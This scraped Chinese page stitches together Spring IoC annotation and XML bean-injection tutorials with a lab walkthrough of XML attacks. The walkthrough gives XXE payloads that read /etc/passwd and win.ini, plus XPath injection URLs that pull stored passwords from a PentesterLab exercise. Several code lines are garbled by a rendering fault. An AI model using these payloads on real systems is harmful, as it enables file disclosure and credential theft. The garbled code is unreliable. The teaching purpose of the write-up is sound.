    * 他们三个是 spring 框架为我们提供明确的三层使用的注解,使我们三层对象更加清晰

    他们的用法都是一样的,如下

    实现: IAccountService 接口

    package com.itheima.service.impl;

    import com.itheima.service.IAccountService;

    import com.itheima.dao.IAccountDao;

    import org.springframework.stereotype.Component;

    @Component(value = "accountService")

    //@Service(value = "accountService") // 该注解和上面的注解功能是一模一样的,只是用来区分使用情景的,如果有两个注解,则 value 不能省去

    public class IAccountServiceImpl implements IAccountService {

    // 这里的值为空,等会可以看到,因为我们只是通过 Spring 创建了对象,但是并没有把对象注入

    private IAccountDao accountDao;

    public void saveAccount() {

    int i =1;

    System.out.println(i);

    i++;

    }

    @Override

    public String toString() {

    return "IAccountServiceImpl{" +

    "accountDao=" + accountDao +

    '}';

    }

    }

    实现:IAccountDao 接口

    package com.itheima.dao.impl;

    import com.itheima.dao.IAccountDao;

    import org.springframework.stereotype.Repository;

    /**

    * 账户持久层的实现类

    * */

    @Repository("accountDao") // 该注解功能同 Componet ,使用在持久层

    public class IAccountDaoImpl implements IAccountDao {

    /**

    * 模拟保存账户

    */

    public void saveAccount() {

    System.out.println("保存了账户");

    }

    @Override

    public String toString() {

    return "IAccountDaoImpl{}";

    }

    }

    创建 Client 类

    package com.itheima.client;

    import com.itheima.service.IAccountService;

    import org.springframework.context.ApplicationContext;

    import org.springframework.context.support.ClassPathXmlApplicationContext;

    /**

    * 模拟一个表现层,用于调用业务层

    * */

    public class Client {

    /**

    * 获取 spring 的 Ioc 核心容器,并根据 id 获取对象

    * ApplicationCpmtext 的三个常用实现类

    * ClassPathXMLApplicationContext:它可以加载类路径下的配置文件,要求配置文件必须在类路径下,不在的话,加载不了

    * FileSystemXmlApplicationContext:它可以加载磁盘任意路径下的配置文件(必须有访问权限)

    * AnnotationConfigApplicationContext:它是用于读取注解解耦容器的

    *

    * 核心容器的两个接口引发出的问题

    * ApplicationContext:单例 采用此接口

    * 它在构建核心容器时,创建对象采用的策略是利用加载的方式,也就是说,只要一读取完配置文件马上就创建配置文件中的配置对象

    * BeanFactory: 多例

    * 它在构建核心容器时:创建对象采取的策略是采用延迟加载的方式。也就是说,什么时候根据 id 获取对象了,什么时候才真正的创建对象

    * */

    public static void main(String[] args) {

    // 1. 获取核心容器对象

    ApplicationContext ac = new ClassPathXmlApplicationContext("bean.xml");

    // 2. 根据 id 获取 Bean 对象 (两种方式)

    IAccountService as = (IAccountService) ac.getBean("accountService");

    System.out.println(as);

    as.saveAccount();

    }

    }

    运行结果:

    (因为我并没有进行对象注入,所以这里的值为 null)

    AAffA0nNPuCLAAAAAElFTkSuQmCC

    3.2 用于注入数据的注解

    3.2.1 数据方式剖析

    * 他们的作用就和在 xml 配置文件中的 bean 标签写一个 标签的作用是一样的

    * Autowired:

    * 作用:自动按照类型注入。只要容器中有唯一的 bean 对象类型和要注入的变量类型匹配,就可以注入成功

    * 如果 IOC 容器中没有任何 bean 的类型和要注入的变量类型匹配,则报错

    * 如果 IOC 容器中有多个类型匹配时

    * 出现位置:

    * 可以是变量上,也可以是方法上

    * 细节:

    * 在使用注解注入时,set 方法就不是必须的了。

    * Qualifier:

    * 作用:在按照类中注入的基础之上再按照名称注入,它在给类成员注入时不能单独使用,但是再给方法参数注入时可以使用

    * 属性:

    * value: 用于指定注入的 bean 的 id

    * 补充:必须和 Autowired 一起使用

    * Resource

    * 作用:直接按照 Bean 的id 注入,它可以独立使用 (一个搞定上面两个)

    * 属性:

    * name:用于指定 bean 的id

    3.2.2 注入方式一(Autowired + Qualifier)

    重新编写

    package com.itheima.service.impl;

    /*注入方式一

    * Autowired:

    * 作用:自动按照类型注入。只要容器中有唯一的 bean 对象类型和要注入的变量类型匹配,就可以注入成功

    * 如果 IOC 容器中没有任何 bean 的类型和要注入的变量类型匹配,则报错

    * 如果 IOC 容器中有多个类型匹配时

    * 出现位置:

    * 可以是变量上,也可以是方法上

    * 细节:

    * 在使用注解注入时,set 方法就不是必须的了。

    * Qualifier:

    * 作用:在按照类中注入的基础之上再按照名称注入,它在给类成员注入时不能单独使用,但是再给方法参数注入时可以使用

    * 属性:

    * value: 用于指定注入的 bean 的 id

    * 补充:必须和 Autowired 一起使用

    */

    import com.itheima.service.IAccountService;

    import com.itheima.dao.IAccountDao;

    import org.springframework.beans.factory.annotation.Autowired;

    import org.springframework.beans.factory.annotation.Qualifier;

    import org.springframework.stereotype.Component;

    @Service(value = "accountService") // 看 Component

    public class IAccountServiceImpl implements IAccountService {

    // 2、 采用注解的方式

    @Autowired

    @Qualifier("accountDao")

    private IAccountDao accountDao;

    public void saveAccount() {

    int i =1;

    // accountDao.saveAccount();

    System.out.println(i);

    i++;

    }

    @Override

    public String toString() {

    return "IAccountServiceImpl{" +

    "accountDao=" + accountDao +

    '}';

    }

    }

    运行效果

    AAffA0nNPuCLAAAAAElFTkSuQmCC

    3.2.3 基于 Resource 的注解

    这个注解就是将我们在上面用到两个注解替换成一个:@Resource(name = "accountDao") ,产生的结果是相同的,这里我就不放截图了

    四、Spring IOC 注入总结

    首先在配置文件中加入:,告知 Spring,我们要使用注解,然后我们在里面填写:base-package 的值,告知 Spring 他要扫描的包

    然后在接口的实现类中的类上添加注解(创建对象的注入):@Component(value = "accountService") 并指定其 value,(如果命名规范的话,比如我写的是 AccountService,默认值也就是上面的 value值),即可完成创建对象的操作,如果想划分的更细一点,可以使用如下三种注解,划分功能

    @Controller: 一般用在表现层

    @Service: 一般用在业务层

    @Respository: 一般用在持久层

    然后在类相对应的方法,完成数据的注入,使用两种方法都可以

    @Autowired + @Qualifier(“accountDao”) 完成对象的注入

    @Resource(name = “accountDao”) 完成对象的注入

    展开全文
  • } } spring-beans.xml: 元素用于提供具体的实体键值配置,通过将序号和作者名称进行绑定注入。 xmlns:xsi=...

    spring 元素用来存储多个键值对属性,类型为Java.util.Map;他的子标签用来定义Map中的键值实体,下面举例说明;

    Article.java

    这个article class有一个属性是作者联名信息,使用序号和作者名来构成一个Map属性.

    import java.util.*;

    public class Article

    {

    private String title;

    private Map authorsInfo;

    public void setTitle(String title) {

    this.title = title;

    }

    public String getTitle() {

    return title;

    }

    public void setAuthorsInfo(Map authorsInfo) {

    this.authorsInfo = authorsInfo;

    }

    public Map getAuthorsInfo() {

    return authorsInfo;

    }

    }

    spring-beans.xml:

    元素用于提供具体的实体键值配置,通过将序号和作者名称进行绑定注入。

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xsi:schemaLocation="http://www.springframework.org/schema/beans

    http://www.springframework.org/schema/beans/spring-beans-2.5.xsd">

    RunDemoMain.java

    测试主程代码;

    import org.springframework.context.ApplicationContext;

    import org.springframework.context.support.ClassPathXmlApplicationContext;

    import java.util.*;

    public class AppMain

    {

    public static void main( String[] args )

    {

    ApplicationContext appContext =

    new ClassPathXmlApplicationContext(new String[] {"spring-beans.xml"});

    Article article = (Article)appContext.getBean("article");

    System.out.println("Article Title: "+article.getTitle());

    Map authorsInfo = article.getAuthorsInfo();

    System.out.println("Article Author: ");

    for (String key : authorsInfo.keySet()) {

    System.out.println(key + " : "+(String)authorsInfo.get(key));

    }

    }

    }

    输出结果如下:

    Article Title: RoseIndia

    Article Author:

    1 : Deepak

    2 : Arun

    3 : Vijay

    展开全文
  • XML注入相关概念: XML是一种可扩展标记语言,可以理解为HTML的扩展语言,一般用于数据存储、数据传输、数据共享,其中DTD文档来解释XML文档。XML必须包含根元素,所有的标签都要闭合,对大小写敏感,并且属性值需要...

    前言

    这篇文章将要讲的是XML attacks这个模块。

    XML无处不在,它存在于web应用的服务器中,或者在浏览器中作为XMLHttpRequest的请求和应答的格式,亦或在浏览器的扩展程序中。由于应用广泛,XML成为了吸引注入攻击的目标。它受众广,同时常用的XML解析器,例如libxml2,允许对XML进行一些默认处理。libxml2常在DOM、SimpleXML和XMLReader扩展中的PHP中使用。当浏览器的XML交换很频繁时,我们要考虑到,XML作为请求格式时,就算是认证用户,也有可能正通过跨站脚本攻击发送攻击者所编写的XML。

    XML允许用户在XML文档内自定义实体,以此来扩展其标准实体集。这些自定义实体可以直接写在可选的DOCTYPE中,而它们代表的扩展值则可引用一个外部资源。正是普通XML的这种支持自定义引用、可引用外部资源内容的可扩展性,导致系统易受XXE的攻击。

    鉴于本篇文章是面向新同学的,那我们就循序渐进,先说一下XML的基本语法,由浅入深得分析XML注入。

    什么是XML?

    XML 指可扩展标记语言(EXtensible Markup Language)

    XML 是一种标记语言,很类似 HTML

    XML 的设计宗旨是传输数据,而非显示数据

    XML 标签没有被预定义。您需要自行定义标签。

    XML 被设计为具有自我描述性。

    XML 是 W3C 的推荐标准

    XML基本语法

    一个简单的XML文档

    XML使用简单的具有自我描述性的语法:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
    </note>
    

    第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。

    下一行描述文档的根元素(像在说:“本文档是一个便签”):

    <note>
    

    接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):

    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
    

    最后一行定义根元素的结尾:

    </note>
    

    从本例可以设想,该 XML 文档包含了 John 给 George 的一张便签。

    注:

    XML 文档必须包含根元素。该元素是所有其他元素的父元素。

    XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。

    XML所有的标签都必须关闭

    <p>This is a paragraph</p>

    XML对大小写敏感

    <Message>这是错误的。</message>
    <message>这是正确的。</message>

    XML属性值需要加引号

    错误:
    <note date=08/08/2008>
    <to>George</to>
    <from>John</from>
    </note> 
    正确:
    <note date="08/08/2008">
    <to>George</to>
    <from>John</from>
    </note>
    

    上面说完了基础知识下面要说重点了:

    ENTITY实体:

    如果在XML文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名。即一个ENTITY,然后再在文档中调用它。

    XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种在为参数在DTD文件中使用。

    ENTITY的定义语法:

    <!DOCTYPE  文件名 [
    <!ENTITY  实体名 "实体内容">
    ]>
    定义好的ENTITY在文档中通过“&实体名;”来使用。
    

    这里举一个例子:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE balabala [
    <!ENTITY name "Tom" >
    

    ]>
    <root>
    <name>&name;</name>
    </root>

    定义一个name值为“Tom”,就可以在XML任何地方引用。

    正常来说,DTD分为内部DTD与外部DTD,内部DTD包含在XML文档中,外部DTD则通过URL引用.一个DTD文件是以.dtd结尾的文本文件 。前面还要加上SYSTEM,但是如果此处没有任何过滤,我们完全可以引用系统敏感文件的,前提是页面有回显,否则你只引用了文件但不知道文件内容。

    下面分别写一个简单的Windows下和Linux下的构造(主要就是读取文件位置不同)。

    window:

    <?xml version=“1.0” encoding=“utf-8”?>
    <!DOCTYPE balabala [
    <!ENTITY name SYSTEM “file:///c:/windows/win.ini” >
    ]>
    <name>&name;</name>

    Linux:

    <?xml version=“1.0” encoding=“utf-8”?>
    <!DOCTYPE balabala [
    <!ENTITY name SYSTEM “file:///etc/passwd” >
    ]>
    <name>&name;</name>

    好了,基础知识差不多就是这些了,下面看一下PentesterLab的题。

    Example 1

    后端代码

    <?php require_once("…/header.php"); ?>
    Hello
    <?php
    x m l = s i m p l e x m l l o a d s t r i n g ( xml=simplexml_load_string( xml=simplexmlloadstring(_GET[‘xml’]);
    print_r((string)$xml);
    ?>
    <?php require_once("…/footer.php"); ?>

    simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象。

    print_r()可以把字符串和数字简单地打印出来,而数组则以括起来的键和值得列表形式显示,并以Array开头。但print_r()输出布尔值和NULL的结果没有意义,因为都是打印"\n"。因此用var_dump()函数更适合调试。打印关于变量的易于理解的信息,如果给出的是 string、integer 或 float,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。 记住,print_r() 将把数组的指针移到最后边。使用 reset() 可让指针回到开始处。

    利用方法

    上面了解了函数的基本作用,我们开始尝试一些简单构造,先构造上基框架,并正常显示hello hacker:

    http://192.168.199.110/xml/example1.php?xml=<!DOCTYPE xxx[<!ENTITY name “hacker”>]><name>&name</name>

    成功,然后尝试包含本地敏感文件:

    http://192.168.199.110/xml/example1.php?xml=<!DOCTYPE xxx[<!ENTITY name SYSTEM “file:///etc/passwd”>]><name>&name;</name>

    嗯,成功显示。

    注:xml全部要写到一行里,并且要进行url编码。

    Example 2

    后端代码

    <?php require_once("…/header.php"); 

    $x = “<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>”;

    x m l = s i m p l e x m l l o a d s t r i n g ( xml=simplexml_load_string( xml=simplexmlloadstring(x);
    x p a t h = " u s e r s / u s e r / n a m e [ . = ′ " . xpath = "users/user/name[.='". xpath="users/user/name[.="._GET[‘name’]."’]/parent:😗/message";
    r e s = ( res = ( res=(xml->xpath( x p a t h ) ) ; w h i l e ( l i s t ( , xpath)); while(list( , xpath));while(list(,node) = each($res)) {
    echo $node;
    }
    ?>
    <?php require_once("…/footer.php"); ?>

    代码分析

    在看代码之前先带大家简单学习一下Xpath这个东西,否则肯定会一脸懵逼。

    Xpath介绍

    XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。

    XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。

    因此,对 XPath 的理解是很多高级 XML 应用的基础。

    XPath 使用路径表达式在 XML 文档中进行导航

    XPath 包含一个标准函数库

    XPath 是 XSLT 中的主要元素

    XPath 是一个 W3C 标准

    Xpath基本语法

    ```
    路径表达式 结果
    bookstore 选取 bookstore 元素的所有子节点。
    /bookstore 选取根元素 bookstore。
    bookstore/book 选取属于 bookstore 的子元素的所有 book 元素。
    //book 选取所有 book子元素,而不管它们在文档中的位置。
    bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。
    //@lang 选取名为 lang 的所有属性。
    </code></pre><p>注:</p><p>/表示从XML文件中的根节点开始解析</p><p>//表示在XML文件中匹配已选择的当前节点,且不考虑其位置关系XPath Axes(轴)轴可以定义当前节点的节点集,下面列举了几个常用的。</p><p><span style="font-size: 13px;"></span></p><pre><code><p><span style="background-color: rgb(240, 240, 240); font-family: monaco, Consolas, &quot;Liberation Mono&quot;, Courier, monospace; font-size: 13px; white-space: pre;">ancestor            选取当前节点的所有先辈(父、祖父等)。
    </span><span style="white-space: pre;">ancestor-or-self    选取当前节点的所有先辈(父、祖父等)以及当前节点本身。
    </span><span style="white-space: pre;">attribute            选取当前节点的所有属性。
    </span><span style="white-space: pre;">child                选取当前节点的所有子元素。
    </span><span style="white-space: pre;">descendant            选取当前节点的所有后代元素(子、孙等)。
    </span><span style="white-space: pre;">descendant-or-self    选取当前节点的所有后代元素(子、孙等)以及当前节点本身。
    </span><span style="white-space: pre;">following            选取文档中当前节点的结束标签之后的所有节点。
    </span><span style="white-space: pre;">namespace            选取当前节点的所有命名空间节点。
    </span><span style="white-space: pre;">parent                选取当前节点的父节点。</span></p></code></pre><p><span style="font-size: 13px;"></span></p><p>了解了轴,再来了解一下<code>步</code>,下面举几个例子更便于了解:</p><pre><code>```
    child::book            选取所有属于当前节点的子元素的 book 节点。
    attribute::lang        选取当前节点的 lang 属性。
    child::*            选取当前节点的所有子元素。
    attribute::*        选取当前节点的所有属性。
    child::text()        选取当前节点的所有文本子节点。
    child::node()        选取当前节点的所有子节点。
    descendant::book    选取当前节点的所有 book 后代。
    ancestor::book        选择当前节点的所有 book 先辈。
    ancestor-or-self::book    选取当前节点的所有 book 先辈以及当前节点(如果此节点是 book 节点)
    child::*/child::price    选取当前节点的所有 price 孙节点。
    
    

    函数分析

    关于Xpath更深入的解释可以看一下这篇文章:http://www.freebuf.com/articles/web/23184.html

    到这里你Xpath差不多入门了,最后再来看看php中这几个函数具体用法。

    list()

    list() 函数用于在一次操作中给一组变量赋值。

    举个例子:

    <?php
    $my_array = array(“Dog”,“Cat”,“Horse”);

    list($a, $b, $c) = $my_array;
    echo “I have several animals, a $a, a $b and a $c.”;
    ?>

    输出结果:
    I have several animals, a Dog, a Cat and a Horse.

    注: 该函数只用于数字索引的数组,且假定数字索引从 0 开始。

    each()

    each() 函数返回当前元素的键名和键值,并将内部指针向前移动。

    该元素的键名和键值会被返回带有四个元素的数组中。两个元素(1 和 Value)包含键值,两个元素(0 和 Key)包含键名。

    Xpath()

    xpath() 函数运行对 XML 文档的 XPath 查询。

    如果成功,则返回包含 SimpleXMLElement 对象的一个数组。如果失败,则返回 false。

    这里还是举个例子,因为比较好理解嘛:

    foreach($xml->xpath(‘Name’)as KaTeX parse error: Expected '}', got 'EOF' at end of input: …) { 
      print_r(value);
    }

    说明:在这个Xpath实例中通过Xpath查询指定节点,以数组形式返回其所有的子节点,并通过PHP的print_r函数打印出最终的数组结构。

    ok了,经过上面一些基础的学习我想你差不多能看懂这多代码了,虽然涉及的东西比较多,但是并不难。

    利用方法

    这里简单分析一下源代码,xml变成如下格式就比较好看了:

    <data>
    <users>

    <user>
    <name>hacker</name>
    <message>Hello hacker</message>
    <password>pentesterlab</password>
    </user>

    <user>
    <name>admin</name>
    <message>Hello admin</message>
    <password>s3cr3tP4ssw0rd</password>
    </user>

    </users>
    </data>

    可以看到源代码先定义了一个 x 变 量 , 里 面 包 含 了 一 个 x m l 。 < / p > < p > 然 后 把 的 X M L 字 符 串 转 换 为 S i m p l e X M L E l e m e n t 对 象 , 并 赋 值 给 x变量,里面包含了一个xml。</p><p>然后把的 XML 字符串转换为 SimpleXMLElement 对象,并赋值给 xxml</p><p>XMLSimpleXMLElementres

    然后查询了users里user里的name 值为$name的,并返回其所有父节点的message里面的值。

    然后执行查询,最后while循环显示查询的值。

    最后的最后,我们尝试构造,还是注入的思路,先尝尝是正确闭合,然后注释掉后面没用的。poc:

    http://192.168.199.110/xml/example2.php?name=hacker’]%00
    可以看到页面回显正确
    注:这里用%00注释

    如果我们想要得到当前所有相同节点的值,构造永真语句如下:

    http://192.168.199.110/xml/example2.php?name=hacker’ or 1=1]%00
    

    页面回显:
    hackeradmin

    尝试查询当前节点的子节点:

    http://192.168.199.110/xml/example2.php?name=hacker’ or 1=1]/child::node()%00
    页面回显:
    hackeradmin
    可以看到并没有得到子节点信息,说明可能这个节点往下没有子节点了。

    注:child::node() 查询当前节点的所有子节点

    尝试查询当前节点的兄弟节点,通过查询当前节点父节点的所有子节点来实现:

    http://192.168.199.110/xml/example2.php?name=hacker’ or 1=1]/parent:😗/child::node()%00
    

    页面回显:
    hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd
    查询到当前节点兄弟节点的所有数据。

    上面的回显中,我们猜测其中一个节点的看起来应该是密码,用下面的方法验证一下:

    http://192.168.199.110/xml/example2.php?name=hacker’ or 1=1]/parent:😗/password%00
    

    页面回显:
    pentesterlabs3cr3tP4ssw0rd
    可以看到确实就是密码,结合上一个查询的回显可知道密码分别是pentesterlab3cr3tP4ssw0rd

    总结

    还是那句话,XML无处不在:它存在于web应用的服务器中,或者在浏览器中作为XMLHttpRequest的请求和应答的格式,亦或在浏览器的扩展程序中。现在网站基本上对sql注入防御都很到位,但是对于那些使用xml的网站,极有可能存在xml注入。

    虽然xml并不常见,但是并不妨碍了解一种方法嘛。

    文章考虑到新同学看到xml注入可能会有点迷,所以是真的真的写的比较详细了。

    下一篇文章将会讲一下File include& file upload

    最后如果你有更好的实现方法或者骚操作亦或者是我有不足需要改进的地方,欢迎大牛指出。如果有新同学那个地方有疑问欢迎评论区指出,谢谢。

    展开全文
  • XML实体注入漏洞

    2021-03-15 11:27:25
    XML实体注入漏洞测试代码1:新建xmlget.php,复制下面代码漏洞测试利用方式1:有回显,直接读取文件LINUX:读取passwd文件,需URL编码后执行。windows:读取文件、也可以读取到内容D盘的文件夹,形式如:file:///d:/...
  • XML注入:CVE-2020-29436

    2021-07-20 23:04:51
    Nexus Repository Manager 3 XML外部实体注入 二、漏洞编号: CVE-2020-29436 三、漏洞描述: 2020年12月16日,360CERT监测发现Nexus Repository Manager 3发布了Nexus Repository Manager 3 命令注入漏洞 的...
  • 网络安全XML注入介绍--XXE,XEE,xpath等 XML注入指在请求的XML中插入攻击利用代码。根据不同的场景,可能会形成以下的漏洞形式:(1)XEE ----xml entity xpansion(xml实体膨胀,用于dos)(2)XXE-----xml external ...
  • XML 外部实体注入漏洞

    千次阅读 2021-11-14 19:35:35
    0x01 XXE(XML外部实体注入)漏洞 1.1 漏洞原因 1.2 漏洞构造方式 1.3 XML可解析的协议 0x02 寻找XXE漏洞隐藏的攻击面 2.1 XInclude攻击 2.2 通过文件上传进行XXE攻击 2.3 通过修改Content-Type头进行XXE攻击...
  • 产生对象的控制权从调用者本身(程序代码)转移到外部容器(xml配置文件) ,组件之间耦合性降低 (2)DI(Dependency Injection) 依赖注入 在装配对象的时候,将Spring中定义的对象注入到配置文件属性中 (3)IOC与DI的关系 ...
  • IOC操作Bean管理(xml注入集合属性) 注入数组类型的属性 注入list集合类型属性 注入Map集合类型属性 1 创建类,定义数组、list、map、set类型属性,生成对应的set方法 package com.cy.collectiontype; import ...
  • 文章目录Bean中的属性介绍Bean中最重要的两个属性其他的一些属性Bean对对象的构造方法的调用基于xml方式注入属性依赖注入使用set方法进行依赖注入使用有参构造方法进行依赖注入`constructor-arg`标签的index属性`...
  • 尽管Spring长期以来确实与XML有着关联,但现在需要明确的是,XML不再是配置Spring的唯一可选方案。Spring现在有了强大的自动化配置和基于Java的配置,XML不应该再是你的第一选择了。不过,鉴于已经存在那么多基于XML...
  • 测试注入是否成功 1.创建maven工程 2.pom文件引入依赖 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi=...
  • /** * @Auther: shaonaiyi@163.com * @Date: 2021/1/16 11:45 * @Description: 测试Bean依赖注入 */ public class StudentTest { private ApplicationContext applicationContext = null; private Student student ...
  • 基于xml的依赖注入 IOC的目的是为了降低耦合度,将依赖关系的管理都交给容器管理 依赖关系的维护,我们称为依赖注入注入的数据有三类: 基本类型和String 其他bean类型(在配置文件中或者注解配置过的bean) 复杂类型...
  • XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的...
  • (2)Spring 注入属性 2、Bean 管理操作有两种方式 (1)基于 xml 配置文件方式实现 (2)基于注解方式实现 IOC 操作 Bean 管理(基于 xml 方式) 1、基于 xml 方式创建对象 (1)在 spring 配置文件中,使用 bean ...
  • 我需要在controller层依赖注入类型为DemoService的对象demoService,将DemoService的实现类DemoServiceImpl放到spring容器中,起名为demoService,再将demoService对象依赖注入到controller中的demoService对象。...
  • 漏洞原理与分析可以参考: ... Apache Solr 是一个开源的搜索服务器。...原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http...此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命
  • java-Spring入门-XML类种类注入 示例: book实体类: package com.yang.pojo; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; /** * @program: TestSpring * @...
  • 基于XML方式创建对象,并且注入属性(SET方式): 1.定义一个类,并且定义俩属性,创建对应set方法: public class Book { private String name; private String auther; public void setName(String name) { ...
  • postman测试远程接口--传递xml格式参数设置Header参数测试参数功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中...
  • IOC操作Bean管理(Xml注入其他类型属性) 外部Bean,内部Bean,级联赋值,注入集合属性
  • 结合上一个博客,这里是使用xml装配的另外一种方式——“设值注入” 目录结构 和上一个博客(…7)一样,只是User类、xml 内容稍有不同而已、、、、 代码 User类 package com.itheima.assemble; import java.util....
  • XML外部实体注入学习

    2021-08-25 22:45:10
    最近做题做到XXE 这类型的题,也没有系统学习过,只是简单知道他和 XML 有关,这次就了解了一下XXE 漏洞 简单了解XML XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 被...
  • 五、如何测试XXE漏洞 1、工具 2、手工 六、XXE漏洞的防御 一、XML基础 1、什么是XML XML 指可扩展标记语言(eXtensible Markup Language),是一种专为存储和传输数据而设计的语言。与 HTML 一样,XML 使用类似树的...
  • 在上一篇中学习了如何注入简单的值,由于其可注入的类型很多,所以这里来尝试下。 例如,定义两个类,User.java和UserAddress.java: 在User.java类中定义如下属性: private int age; private String name; private...
  • Spring 依赖注入xml配置文件方式演示) 应用程序中,通过对象协作来实现一个目标功能的现象非常普遍。 越复杂的程序,涉及到的对象会越多,对象与依赖对象之间的耦合性也会愈加复杂。 通过依赖注入取代手动处理...
  • 1.编写测试类 本次测试数组, List, Map, Set的注入
  • 我们在JUnit中使用EJB...在beans.xml中一切都像魅力一样,EJB经过测试并使用模拟服务.问题:是否可以仅使用代码执行相同操作,而不是使用beans.xml?当然,beans.xml提供了很好的灵活性,但有时人们可能希望为同...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 144,688
精华内容 57,875
关键字:

xml注入测试